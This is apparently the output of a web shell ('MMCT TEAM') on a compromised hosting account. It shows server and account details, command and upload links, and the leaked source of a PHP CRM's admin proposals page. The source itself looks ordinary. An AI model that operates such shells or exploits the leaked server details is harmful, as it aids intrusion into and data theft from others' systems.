MMCT TEAM
Server IP : 217.21.85.138  /  Your IP : 216.73.216.103
Web Server : LiteSpeed
System : Linux in-mum-web906.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u915722082 ( 915722082)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u915722082/public_html/js/../pms/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u915722082/public_html/js/../pms/admin/proposals.php
<!--proposals.php-->

<?php
session_start();

if (!isset($_SESSION['admin_id'])) {
    header("Location: login.php");
    exit;
}

// ADMIN/MANAGER ONLY ACCESS
if ($_SESSION['role'] === 'Employee') {
    header("Location: employee.php");
    exit;
}

require_once '../config/config.php';
require_once '../config/db.php';

$current_user_role = $_SESSION['role'] ?? 'Manager';
$current_user_id = $_SESSION['admin_id'];
$current_user_name = $_SESSION['user_name'] ?? 'Admin';

// Get all customers
$customers_query = "SELECT customer_id, customer_code, customer_name, email, phone FROM tbl_customers WHERE customer_status = 'Active' ORDER BY customer_name ASC";
$customers_result = mysqli_query($con, $customers_query);

// Get all templates
$templates_query = "SELECT template_id, template_name, category FROM tbl_proposal_templates WHERE is_active = 'Yes' ORDER BY template_name ASC";
$templates_result = mysqli_query($con, $templates_query);

// Get all proposals WITH customer email
$proposals_query = "SELECT p.*, 
                    c.customer_name, c.customer_code, c.email as customer_email,
                    t.template_name,
                    u.fname as created_by_name
                    FROM tbl_proposals p
                    LEFT JOIN tbl_customers c ON p.customer_id = c.customer_id
                    LEFT JOIN tbl_proposal_templates t ON p.template_id = t.template_id
                    LEFT JOIN tbl_user u ON p.created_by = u.uid
                    ORDER BY p.created_at DESC";
$proposals_result = mysqli_query($con, $proposals_query);
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <base href="../" />
    <title>Proposals - TDS Admin Hub</title>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    
    <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Inter:300,400,500,600,700" />
    <link href="assets/plugins/global/plugins.bundle.css" rel="stylesheet" type="text/css" />
    <link href="assets/css/style.bundle.css" rel="stylesheet" type="text/css" />
    
    <!-- Summernote CSS -->
    <link href="https://cdn.jsdelivr.net/npm/summernote@0.8.18/dist/summernote-lite.min.css" rel="stylesheet">
    
    <style>
    .line-item-row {
        background: #f9f9f9;
        border-radius: 6px;
        padding: 10px;
        margin-bottom: 10px;
    }
    .total-section {
        background: #f0f9ff;
        border: 2px solid #0ea5e9;
        border-radius: 8px;
        padding: 20px;
    }
    /* Fix table stretch */
    #proposalsTable {
        table-layout: auto;
        width: 100%;
    }
    #proposalsTable td {
        white-space: nowrap;
    }
    /* Action buttons container */
    .action-buttons-container {
        display: flex;
        gap: 4px;
        flex-wrap: nowrap;
        justify-content: flex-end;
    }
    </style>
</head>

<body id="kt_app_body" data-kt-app-layout="dark-sidebar" data-kt-app-header-fixed="true" 
      data-kt-app-sidebar-enabled="true" data-kt-app-sidebar-fixed="true" 
      data-kt-app-sidebar-hoverable="true" data-kt-app-sidebar-push-header="true" 
      data-kt-app-sidebar-push-toolbar="true" data-kt-app-sidebar-push-footer="true" 
      data-kt-app-toolbar-enabled="true" class="app-default">
    
    <script>
        var defaultThemeMode = "light"; 
        var themeMode; 
        if (document.documentElement) { 
            if (document.documentElement.hasAttribute("data-bs-theme-mode")) { 
                themeMode = document.documentElement.getAttribute("data-bs-theme-mode"); 
            } else { 
                if (localStorage.getItem("data-bs-theme") !== null) { 
                    themeMode = localStorage.getItem("data-bs-theme"); 
                } else { 
                    themeMode = defaultThemeMode; 
                } 
            } 
            if (themeMode === "system") { 
                themeMode = window.matchMedia("(prefers-color-scheme: dark)").matches ? "dark" : "light"; 
            } 
            document.documentElement.setAttribute("data-bs-theme", themeMode); 
        }
    </script>
    
    <div class="d-flex flex-column flex-root app-root" id="kt_app_root">
        <div class="app-page flex-column flex-column-fluid" id="kt_app_page">
            
            <?php include 'includes/header.php'; ?>
            
            <div class="app-wrapper flex-column flex-row-fluid" id="kt_app_wrapper">
                
                <?php include 'includes/sidebar.php'; ?>
                
                <div class="app-main flex-column flex-row-fluid" id="kt_app_main">
                    <div class="d-flex flex-column flex-column-fluid">
                        
                        <div id="kt_app_toolbar" class="app-toolbar py-3 py-lg-6">
                            <div id="kt_app_toolbar_container" class="app-container container-xxl d-flex flex-stack">
                                <div class="page-title d-flex flex-column justify-content-center flex-wrap me-3">
                                    <h1 class="page-heading d-flex text-gray-900 fw-bold fs-3 flex-column my-0">
                                        📄 Business Proposals
                                    </h1>
                                    <ul class="breadcrumb breadcrumb-separatorless fw-semibold fs-7 my-0 pt-1">
                                        <li class="breadcrumb-item text-muted">
                                            <a href="admin/dashboard.php" class="text-muted text-hover-primary">Home</a>
                                        </li>
                                        <li class="breadcrumb-item">
                                            <span class="bullet bg-gray-500 w-5px h-2px"></span>
                                        </li>
                                        <li class="breadcrumb-item text-muted">Proposals</li>
                                    </ul>
                                </div>
                            </div>
                        </div>
                        
                        <div id="kt_app_content" class="app-content flex-column-fluid">
                            <div id="kt_app_content_container" class="app-container container-xxl">
                                
                                <!-- Proposals Table Card -->
                                <div class="card">
                                    <div class="card-header border-0 pt-6">
                                        <div class="card-title">
                                            <div class="d-flex align-items-center position-relative my-1">
                                                <i class="ki-duotone ki-magnifier fs-3 position-absolute ms-5">
                                                    <span class="path1"></span>
                                                    <span class="path2"></span>
                                                </i>
                                                <input type="text" id="searchProposal" 
                                                       class="form-control form-control-solid w-250px ps-13" 
                                                       placeholder="Search proposals..." />
                                            </div>
                                        </div>
                                        
                                        <div class="card-toolbar">
                                            <div class="d-flex justify-content-end align-items-center">
                                                <!-- Filter -->
                                                <select class="form-select form-select-solid w-150px me-3" id="filterStatus" 
                                                        data-control="select2" data-hide-search="true">
                                                    <option value="all" selected>All</option>
                                                    <option value="Draft">Draft</option>
                                                    <option value="Sent">Sent</option>
                                                    <option value="Negotiate">Negotiate</option>
                                                    <option value="Accepted">Accepted</option>
                                                    <option value="Rejected">Rejected</option>
                                                    <option value="Expired">Expired</option>
                                                </select>
                                                
                                                <!-- Add Button -->
                                                <button type="button" class="btn btn-primary text-nowrap" 
                                                        data-bs-toggle="modal" data-bs-target="#proposalModal" 
                                                        onclick="openAddModal()">
                                                    <i class="ki-duotone ki-plus fs-2"></i>
                                                    Create Proposal
                                                </button>
                                            </div>
                                        </div>
                                    </div>
                                    
                                    <div class="card-body py-4">
                                        <div class="table-responsive">
                                            <table class="table align-middle table-row-dashed fs-6 gy-5" id="proposalsTable">
                                                <thead>
                                                    <tr class="text-start text-muted fw-bold fs-7 text-uppercase gs-0">
                                                        <th class="min-w-100px">Proposal Code</th>
                                                        <th class="min-w-200px">Title</th>
                                                        <th class="min-w-150px">Customer</th>
                                                        <th class="min-w-100px">Date</th>
                                                        <th class="min-w-100px">Amount</th>
                                                        <th class="min-w-100px">Status</th>
                                                        <th class="text-end min-w-400px">Actions</th>
                                                    </tr>
                                                </thead>
                                                <tbody class="text-gray-600 fw-semibold">
                                                    <?php if(mysqli_num_rows($proposals_result) > 0): ?>
                                                        <?php while ($proposal = mysqli_fetch_assoc($proposals_result)): ?>
                                                        <tr data-status="<?php echo $proposal['status']; ?>">
                                                            <td>
                                                                <span class="text-gray-800 fw-bold">
                                                                    <?php echo htmlspecialchars($proposal['proposal_code']); ?>
                                                                </span>
                                                            </td>
                                                            <td>
                                                                <div class="d-flex flex-column">
                                                                    <span class="text-gray-800 fw-bold mb-1">
                                                                        <?php echo htmlspecialchars($proposal['proposal_title']); ?>
                                                                    </span>
                                                                    <span class="text-muted fs-7">
                                                                        <?php echo $proposal['template_name']; ?>
                                                                    </span>
                                                                </div>
                                                            </td>
                                                            <td>
                                                                <div class="d-flex flex-column">
                                                                    <span class="text-gray-800 fw-bold">
                                                                        <?php echo htmlspecialchars($proposal['customer_name']); ?>
                                                                    </span>
                                                                    <span class="text-muted fs-7">
                                                                        <?php echo $proposal['customer_code']; ?>
                                                                    </span>
                                                                </div>
                                                            </td>
                                                            <td>
                                                                <div class="d-flex flex-column">
                                                                    <span><?php echo date('d-M-Y', strtotime($proposal['proposal_date'])); ?></span>
                                                                    <span class="text-muted fs-7">
                                                                        Valid: <?php echo date('d-M-Y', strtotime($proposal['valid_until'])); ?>
                                                                    </span>
                                                                </div>
                                                            </td>
                                                            <td>
                                                                <span class="text-gray-800 fw-bold">
                                                                    ₹<?php echo number_format($proposal['final_amount'], 2); ?>
                                                                </span>
                                                            </td>
                                                            <td>
                                                                <?php
                                                                $status_colors = [
                                                                    'Draft' => 'warning',
                                                                    'Sent' => 'info',
                                                                    'Negotiate' => 'primary',
                                                                    'Accepted' => 'success',
                                                                    'Rejected' => 'danger',
                                                                    'Expired' => 'secondary'
                                                                ];
                                                                $color = $status_colors[$proposal['status']] ?? 'secondary';
                                                                ?>
                                                                <span class="badge badge-light-<?php echo $color; ?>">
                                                                    <?php echo $proposal['status']; ?>
                                                                </span>
                                                            </td>
                                                            <td class="text-end">
    <div class="d-flex justify-content-end gap-2">
        <!-- Actions Dropdown (Metronic Style) -->
        <button class="btn btn-sm btn-light btn-active-light-primary dropdown-toggle" 
                type="button" 
                id="actionsDropdown<?php echo $proposal['proposal_id']; ?>" 
                data-bs-toggle="dropdown" 
                aria-expanded="false">
            Actions
        </button>
        <ul class="dropdown-menu dropdown-menu-end" aria-labelledby="actionsDropdown<?php echo $proposal['proposal_id']; ?>">
            <!-- Send (only for Draft/Negotiate) -->
            <?php if(in_array($proposal['status'], ['Draft', 'Negotiate'])): ?>
            <li>
                <a class="dropdown-item d-flex align-items-center" href="#" 
                   onclick="event.preventDefault(); sendProposal(<?php echo $proposal['proposal_id']; ?>, '<?php echo addslashes($proposal['proposal_code']); ?>', '<?php echo addslashes($proposal['customer_name']); ?>', '<?php echo addslashes($proposal['customer_email'] ?? ''); ?>');">
                    <i class="ki-duotone ki-send fs-3 me-2 text-info">
                        <span class="path1"></span>
                        <span class="path2"></span>
                    </i>
                    <span>Send</span>
                </a>
            </li>
            <?php endif; ?>
            
            <!-- Accept (only if not Accepted) -->
            <?php if($proposal['status'] !== 'Accepted'): ?>
            <li>
                <a class="dropdown-item d-flex align-items-center" href="#" 
                   onclick="event.preventDefault(); acceptProposal(<?php echo $proposal['proposal_id']; ?>, '<?php echo addslashes($proposal['proposal_code']); ?>');">
                    <i class="ki-duotone ki-check-circle fs-3 me-2 text-success">
                        <span class="path1"></span>
                        <span class="path2"></span>
                    </i>
                    <span>Accept</span>
                </a>
            </li>
            <?php endif; ?>
            
            <!-- Reject (only if not Rejected) -->
            <?php if($proposal['status'] !== 'Rejected'): ?>
            <li>
                <a class="dropdown-item d-flex align-items-center" href="#" 
                   onclick="event.preventDefault(); rejectProposal(<?php echo $proposal['proposal_id']; ?>, '<?php echo addslashes($proposal['proposal_code']); ?>');">
                    <i class="ki-duotone ki-cross-circle fs-3 me-2 text-danger">
                        <span class="path1"></span>
                        <span class="path2"></span>
                    </i>
                    <span>Reject</span>
                </a>
            </li>
            <?php endif; ?>
        </ul>
        
        <!-- Status Change Button (Draft/Negotiate only) -->
        <?php if(in_array($proposal['status'], ['Draft', 'Negotiate'])): ?>
        <button class="btn btn-icon btn-light btn-active-light-warning btn-sm" 
                onclick='changeProposalStatus(<?php echo $proposal['proposal_id']; ?>, "<?php echo $proposal['status']; ?>", "<?php echo addslashes($proposal['proposal_code']); ?>")'
                title="Change Status">
            <i class="ki-duotone ki-arrows-circle fs-3">
                <span class="path1"></span>
                <span class="path2"></span>
            </i>
        </button>
        <?php endif; ?>
        
        <!-- View Button -->
        <button class="btn btn-icon btn-light btn-active-light-primary btn-sm" 
                onclick='viewProposal(<?php echo $proposal['proposal_id']; ?>)'
                title="View">
            <i class="ki-duotone ki-eye fs-3">
                <span class="path1"></span>
                <span class="path2"></span>
                <span class="path3"></span>
            </i>
        </button>
        
        <!-- History Button -->
        <button class="btn btn-icon btn-light btn-active-light-info btn-sm" 
                onclick='viewProposalHistory(<?php echo $proposal['proposal_id']; ?>, "<?php echo addslashes($proposal['proposal_code']); ?>")'
                title="View History">
            <i class="ki-duotone ki-time fs-3">
                <span class="path1"></span>
                <span class="path2"></span>
            </i>
        </button>
        
        <!-- Edit Button (only for Draft) -->
        <?php if($proposal['status'] === 'Draft'): ?>
        <button class="btn btn-icon btn-light btn-active-light-primary btn-sm" 
                onclick='editProposal(<?php echo $proposal['proposal_id']; ?>)'
                title="Edit">
            <i class="ki-duotone ki-pencil fs-3">
                <span class="path1"></span>
                <span class="path2"></span>
            </i>
        </button>
        <?php endif; ?>
        
        <!-- Delete Button (only for Draft) -->
        <?php if($proposal['status'] === 'Draft'): ?>
        <button class="btn btn-icon btn-light btn-active-light-danger btn-sm" 
                onclick="deleteProposal(<?php echo $proposal['proposal_id']; ?>, '<?php echo addslashes($proposal['proposal_code']); ?>')"
                title="Delete">
            <i class="ki-duotone ki-trash fs-3">
                <span class="path1"></span>
                <span class="path2"></span>
                <span class="path3"></span>
                <span class="path4"></span>
                <span class="path5"></span>
            </i>
        </button>
        <?php endif; ?>
    </div>
</td>
                                                        </tr>
                                                        <?php endwhile; ?>
                                                    <?php else: ?>
                                                        <tr>
                                                            <td colspan="7" class="text-center py-10">
                                                                <div class="d-flex flex-column align-items-center">
                                                                    <i class="ki-duotone ki-document fs-3x text-gray-400 mb-3">
                                                                        <span class="path1"></span>
                                                                        <span class="path2"></span>
                                                                    </i>
                                                                    <span class="text-gray-600 fs-5">No proposals found</span>
                                                                    <span class="text-muted fs-7">Click "Create Proposal" to create your first proposal</span>
                                                                </div>
                                                            </td>
                                                        </tr>
                                                    <?php endif; ?>
                                                </tbody>
                                            </table>
                                        </div>
                                    </div>
                                </div>
                                
                            </div>
                        </div>
                        
                    </div>
                    
                    <?php include 'includes/footer.php'; ?>
                    
                </div>
            </div>
        </div>
    </div>
    
    <!-- Create/Edit Proposal Modal -->
<!-- Create/Edit Proposal Modal -->
<div class="modal fade" id="proposalModal" tabindex="-1" aria-hidden="true" data-bs-backdrop="static" data-bs-keyboard="false">
        <div class="modal-dialog modal-dialog-centered mw-1000px modal-dialog-scrollable">
            <div class="modal-content">
                <div class="modal-header">
                    <h2 class="fw-bolder" id="modalTitle">Create New Proposal</h2>
                    <div class="btn btn-icon btn-sm btn-active-icon-primary" data-bs-dismiss="modal">
                        <i class="ki-duotone ki-cross fs-1">
                            <span class="path1"></span>
                            <span class="path2"></span>
                        </i>
                    </div>
                </div>
                
                <form id="proposalForm" method="POST">
                    <div class="modal-body py-10 px-lg-17" style="max-height: 75vh; overflow-y: auto;">
                        <input type="hidden" name="action" id="action" value="add_proposal">
                        <input type="hidden" name="proposal_id" id="proposal_id" value="">
                        
                        <div id="alertBox"></div>
                        
                        <!-- Basic Information -->
                        <div class="mb-10">
                            <h3 class="fw-bold text-gray-800 mb-5">Basic Information</h3>
                            
                            <div class="row mb-7">
                                <div class="col-md-6">
    <label class="required fs-6 fw-semibold mb-2">Select Customer</label>
    <select class="form-select form-select-solid" 
            name="customer_id" id="customer_id" required 
            onchange="loadCustomerTemplate()">
        <option value="">Choose Customer...</option>
        <?php 
        mysqli_data_seek($customers_result, 0);
        while ($cust = mysqli_fetch_assoc($customers_result)): 
        ?>
        <option value="<?php echo $cust['customer_id']; ?>" 
                data-name="<?php echo htmlspecialchars($cust['customer_name']); ?>"
                data-email="<?php echo htmlspecialchars($cust['email']); ?>"
                data-phone="<?php echo htmlspecialchars($cust['phone']); ?>">
            <?php echo htmlspecialchars($cust['customer_name']); ?> (<?php echo $cust['customer_code']; ?>)
        </option>
        <?php endwhile; ?>
    </select>
</div>

<div class="col-md-6">
    <label class="required fs-6 fw-semibold mb-2">Select Template</label>
    <select class="form-select form-select-solid" 
            name="template_id" id="template_id" required 
            onchange="loadTemplateContent()">
        <option value="">Choose Template...</option>
        <?php 
        mysqli_data_seek($templates_result, 0);
        while ($tpl = mysqli_fetch_assoc($templates_result)): 
        ?>
        <option value="<?php echo $tpl['template_id']; ?>">
            <?php echo htmlspecialchars($tpl['template_name']); ?> (<?php echo $tpl['category']; ?>)
        </option>
        <?php endwhile; ?>
    </select>
    <small class="text-muted">Will auto-load from customer's default</small>
</div>
                            </div>
                            
                            <div class="mb-7">
                                <label class="required fs-6 fw-semibold mb-2">Proposal Title</label>
                                <input type="text" class="form-control form-control-solid" 
                                       name="proposal_title" id="proposal_title" 
                                       placeholder="e.g., Website Development Project" required />
                            </div>
                            <div class="mb-7">
    <label class="required fs-6 fw-semibold mb-2">Proposal Description</label>
    <textarea class="form-control form-control-solid" 
              name="proposal_description" id="proposal_description" 
              rows="4" 
              placeholder="Describe the proposal details, scope of work, deliverables..." 
              required></textarea>
</div>
                            
                            <div class="row mb-7">
                                <div class="col-md-6">
                                    <label class="required fs-6 fw-semibold mb-2">Proposal Date</label>
                                    <input type="date" class="form-control form-control-solid" 
                                           name="proposal_date" id="proposal_date" 
                                           value="<?php echo date('Y-m-d'); ?>" required />
                                </div>
                                
                                <div class="col-md-6">
                                    <label class="required fs-6 fw-semibold mb-2">Valid Until</label>
                                    <input type="date" class="form-control form-control-solid" 
                                           name="valid_until" id="valid_until" 
                                           value="<?php echo date('Y-m-d', strtotime('+30 days')); ?>" required />
                                </div>
                            </div>
                        </div>
                        
                        <!-- Line Items -->
                        <div class="mb-10">
                            <div class="d-flex justify-content-between align-items-center mb-5">
                                <h3 class="fw-bold text-gray-800 m-0">Line Items</h3>
                                <button type="button" class="btn btn-sm btn-light-primary" onclick="addLineItem()">
                                    <i class="ki-duotone ki-plus fs-3"></i>
                                    Add Item
                                </button>
                            </div>
                            
                            <div id="lineItemsContainer">
                                <!-- Line items will be added here -->
                            </div>
                        </div>
                        
                        <!-- Totals -->
                        <div class="mb-10 total-section">
                            <div class="row mb-3">
                                <div class="col-8 text-end">
                                    <span class="fs-5 fw-semibold">Subtotal:</span>
                                </div>
                                <div class="col-4 text-end">
                                    <span class="fs-5 fw-bold" id="subtotal_display">₹0.00</span>
                                </div>
                            </div>
                            
                            <div class="row mb-3">
                                <div class="col-4">
                                    <label class="fs-6 fw-semibold mb-2">Discount</label>
                                    <div class="input-group">
                                        <input type="number" class="form-control" 
                                               name="discount_percentage" id="discount_percentage" 
                                               placeholder="%" step="0.01" value="0" onchange="calculateTotals()" />
                                        <span class="input-group-text">%</span>
                                    </div>
                                </div>
                                <div class="col-4 text-end pt-8">
                                    <span class="fs-6 fw-semibold">-<span id="discount_display">₹0.00</span></span>
                                </div>
                            </div>
                            
                            <div class="separator my-5"></div>
                            
                            <div class="row">
                                <div class="col-8 text-end">
                                    <span class="fs-3 fw-bold text-primary">TOTAL:</span>
                                </div>
                                <div class="col-4 text-end">
                                    <span class="fs-3 fw-bolder text-primary" id="total_display">₹0.00</span>
                                </div>
                            </div>
                            
                            <input type="hidden" name="total_amount" id="total_amount" value="0">
                            <input type="hidden" name="discount_amount" id="discount_amount" value="0">
                            <input type="hidden" name="final_amount" id="final_amount" value="0">
                            <input type="hidden" name="proposal_items" id="proposal_items" value="[]">
                        </div>
                        
                        <!-- Status -->
                        <div class="mb-10">
                            <h3 class="fw-bold text-gray-800 mb-5">Status</h3>
                           <select class="form-select form-select-solid" 
        name="status" id="status" required>
    <option value="Draft" selected>Draft</option>
    <option value="Sent">Sent</option>
    <option value="Negotiate">Negotiate</option>
    <option value="Accepted">Accepted</option>
    <option value="Rejected">Rejected</option>
</select>
                        </div>
                        
                        <!-- Internal Notes -->
                        <div class="mb-10">
                            <h3 class="fw-bold text-gray-800 mb-5">Internal Notes</h3>
                            <textarea class="form-control form-control-solid" 
                                      name="internal_notes" id="internal_notes" 
                                      rows="3" placeholder="Notes for internal use only (not visible to customer)"></textarea>
                        </div>
                        
                    </div>
                    
                    <div class="modal-footer flex-center">
                        <button type="reset" class="btn btn-light me-3" data-bs-dismiss="modal">Cancel</button>
                        <button type="button" class="btn btn-secondary me-3" onclick="saveDraft()">
                            <span class="indicator-label">
                                <i class="ki-duotone ki-save-2 fs-3 me-1">
                                    <span class="path1"></span>
                                    <span class="path2"></span>
                                </i>
                                Save as Draft
                            </span>
                            <span class="indicator-progress">Please wait...
                                <span class="spinner-border spinner-border-sm align-middle ms-2"></span>
                            </span>
                        </button>
                        <button type="submit" class="btn btn-primary" id="submitBtn">
                            <span class="indicator-label">Save Proposal</span>
                            <span class="indicator-progress">Please wait...
                                <span class="spinner-border spinner-border-sm align-middle ms-2"></span>
                            </span>
                        </button>
                    </div>
                </form>
                
            </div>
        </div>
    </div>
    
    <!-- Proposal History Modal -->
    <div class="modal fade" id="historyModal" tabindex="-1" aria-hidden="true">
        <div class="modal-dialog modal-dialog-centered mw-800px">
            <div class="modal-content">
                <div class="modal-header">
                    <h2 class="fw-bolder" id="historyModalTitle">Proposal History</h2>
                    <div class="btn btn-icon btn-sm btn-active-icon-primary" data-bs-dismiss="modal">
                        <i class="ki-duotone ki-cross fs-1">
                            <span class="path1"></span>
                            <span class="path2"></span>
                        </i>
                    </div>
                </div>
                
                <div class="modal-body py-6 px-lg-10">
                    <!-- Counters Summary - Fixed Position -->
                    <div class="row g-4 mb-8">
                        <div class="col-6 col-md-3">
                            <div class="border border-gray-300 rounded py-3 px-4">
                                <div class="d-flex align-items-center">
                                    <i class="ki-duotone ki-send fs-2x text-info me-2">
                                        <span class="path1"></span>
                                        <span class="path2"></span>
                                    </i>
                                    <div class="fs-2 fw-bold text-gray-800 lh-1" id="sentCountDisplay">0</div>
                                </div>
                                <div class="fw-semibold fs-7 text-gray-400 mt-2">Times Sent</div>
                            </div>
                        </div>
                        
                        <div class="col-6 col-md-3">
                            <div class="border border-gray-300 rounded py-3 px-4">
                                <div class="d-flex align-items-center">
                                    <i class="ki-duotone ki-message-text fs-2x text-warning me-2">
                                        <span class="path1"></span>
                                        <span class="path2"></span>
                                        <span class="path3"></span>
                                    </i>
                                    <div class="fs-2 fw-bold text-gray-800 lh-1" id="negotiateCountDisplay">0</div>
                                </div>
                                <div class="fw-semibold fs-7 text-gray-400 mt-2">Negotiations</div>
                            </div>
                        </div>
                        
                        <div class="col-6 col-md-3">
                            <div class="border border-gray-300 rounded py-3 px-4">
                                <div class="d-flex align-items-center">
                                    <i class="ki-duotone ki-cross-circle fs-2x text-danger me-2">
                                        <span class="path1"></span>
                                        <span class="path2"></span>
                                    </i>
                                    <div class="fs-2 fw-bold text-gray-800 lh-1" id="rejectedCountDisplay">0</div>
                                </div>
                                <div class="fw-semibold fs-7 text-gray-400 mt-2">Rejections</div>
                            </div>
                        </div>
                        
                        <div class="col-6 col-md-3">
                            <div class="border border-gray-300 rounded py-3 px-4">
                                <div class="d-flex align-items-center">
                                    <i class="ki-duotone ki-calendar-remove fs-2x text-secondary me-2">
                                        <span class="path1"></span>
                                        <span class="path2"></span>
                                        <span class="path3"></span>
                                        <span class="path4"></span>
                                        <span class="path5"></span>
                                    </i>
                                    <div class="fs-2 fw-bold text-gray-800 lh-1" id="expiredCountDisplay">0</div>
                                </div>
                                <div class="fw-semibold fs-7 text-gray-400 mt-2">Expirations</div>
                            </div>
                        </div>
                    </div>
                    
                    <!-- Timeline - Scrollable Section -->
                    <div class="separator mb-5"></div>
                    <h3 class="fw-bold text-gray-800 mb-4 fs-5">Status Change History</h3>
                    <div style="max-height: 300px; overflow-y: auto; padding-right: 10px;">
                        <div class="timeline">
                            <div id="historyTimeline">
                                <!-- Timeline items will be inserted here -->
                            </div>
                        </div>
                    </div>
                </div>
                
                <div class="modal-footer py-4">
                    <button type="button" class="btn btn-light" data-bs-dismiss="modal">Close</button>
                </div>
            </div>
        </div>
    </div>

    <!-- Change Status Modal -->
    <div class="modal fade" id="changeStatusModal" tabindex="-1" aria-hidden="true">
        <div class="modal-dialog modal-dialog-centered mw-600px">
            <div class="modal-content">
                <div class="modal-header">
                    <h2 class="fw-bolder">Change Proposal Status</h2>
                    <div class="btn btn-icon btn-sm btn-active-icon-primary" data-bs-dismiss="modal">
                        <i class="ki-duotone ki-cross fs-1">
                            <span class="path1"></span>
                            <span class="path2"></span>
                        </i>
                    </div>
                </div>
                
                <form id="changeStatusForm">
                    <div class="modal-body py-10 px-lg-17">
                        <input type="hidden" name="action" value="update_proposal_status">
                        <input type="hidden" name="proposal_id" id="status_proposal_id">
                        
                        <div class="mb-7">
                            <label class="fs-6 fw-semibold mb-2">Current Status</label>
                            <input type="text" class="form-control form-control-solid" 
                                   id="current_status_display" readonly />
                        </div>
                        
                        <div class="mb-7">
                            <label class="required fs-6 fw-semibold mb-2">Change To</label>
                            <select class="form-select form-select-solid" 
                                    name="new_status" id="new_status" required
                                    data-control="select2"
                                    data-hide-search="true"
                                    data-dropdown-parent="#changeStatusModal">
                                <option value="">Select Status...</option>
                                <option value="Draft">Draft</option>
                                <option value="Negotiate">Negotiate</option>
                            </select>
                            <div class="form-text">Accept, Reject, and Send actions have dedicated buttons</div>
                        </div>
                        
                        <div class="mb-7">
                            <label class="fs-6 fw-semibold mb-2">Remarks (Optional)</label>
                            <textarea class="form-control form-control-solid" 
                                      name="remarks" id="status_remarks" 
                                      rows="3" placeholder="Add any notes about this status change..."></textarea>
                        </div>
                    </div>
                    
                    <div class="modal-footer">
                        <button type="button" class="btn btn-light" data-bs-dismiss="modal">Cancel</button>
                        <button type="submit" class="btn btn-primary" id="statusSubmitBtn">
                            <span class="indicator-label">Update Status</span>
                            <span class="indicator-progress">Please wait...
                                <span class="spinner-border spinner-border-sm align-middle ms-2"></span>
                            </span>
                        </button>
                    </div>
                </form>
            </div>
        </div>
    </div>
    
    <!-- Reject Proposal Modal -->
    <div class="modal fade" id="rejectModal" tabindex="-1" aria-hidden="true">
        <div class="modal-dialog modal-dialog-centered mw-600px">
            <div class="modal-content">
                <div class="modal-header">
                    <h2 class="fw-bolder">Reject Proposal</h2>
                    <div class="btn btn-icon btn-sm btn-active-icon-primary" data-bs-dismiss="modal">
                        <i class="ki-duotone ki-cross fs-1">
                            <span class="path1"></span>
                            <span class="path2"></span>
                        </i>
                    </div>
                </div>
                
                <form id="rejectForm">
                    <div class="modal-body py-10 px-lg-17">
                        <input type="hidden" name="action" value="reject_proposal">
                        <input type="hidden" name="proposal_id" id="reject_proposal_id">
                        
                        <div class="mb-7">
                            <label class="fs-6 fw-semibold mb-2">Proposal Code</label>
                            <div class="fs-4 fw-bold text-gray-800" id="reject_proposal_code"></div>
                        </div>
                        
                        <div class="mb-7">
                            <label class="required fs-6 fw-semibold mb-2">Rejection Reason</label>
                            <select class="form-select form-select-solid" 
                                    name="reject_reason" id="reject_reason" required
                                    data-control="select2"
                                    data-hide-search="true"
                                    data-dropdown-parent="#rejectModal"
                                    data-placeholder="Select reason...">
                                <option value="">Select reason...</option>
                                <option value="Budget constraints">Budget constraints</option>
                                <option value="Timeline not feasible">Timeline not feasible</option>
                                <option value="Scope mismatch">Scope mismatch</option>
                                <option value="Found alternative solution">Found alternative solution</option>
                                <option value="Project postponed">Project postponed</option>
                                <option value="Technical requirements not met">Technical requirements not met</option>
                                <option value="Other">Other</option>
                            </select>
                        </div>
                        
                        <div class="mb-7">
                            <label class="fs-6 fw-semibold mb-2">Additional Remarks (Optional)</label>
                            <textarea class="form-control form-control-solid" 
                                      name="remarks" id="reject_remarks" 
                                      rows="3" placeholder="Add any additional details..."></textarea>
                        </div>
                    </div>
                    
                    <div class="modal-footer">
                        <button type="button" class="btn btn-light" data-bs-dismiss="modal">Cancel</button>
                        <button type="submit" class="btn btn-danger" id="rejectSubmitBtn">
                            <span class="indicator-label">Confirm Rejection</span>
                            <span class="indicator-progress">Please wait...
                                <span class="spinner-border spinner-border-sm align-middle ms-2"></span>
                            </span>
                        </button>
                    </div>
                </form>
            </div>
        </div>
    </div>
    
    <!-- Scripts -->
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
    <script src="assets/plugins/global/plugins.bundle.js"></script>
    <script src="assets/js/scripts.bundle.js"></script>
    
    <!-- Summernote JS -->
    <script src="https://cdn.jsdelivr.net/npm/summernote@0.8.18/dist/summernote-lite.min.js"></script>
    
<script src="admin/js/proposals.js?v=<?php echo time(); ?>"></script>
    
    <?php include 'includes/chat_widget.php'; ?>
</body>
</html>

MMCT - 2023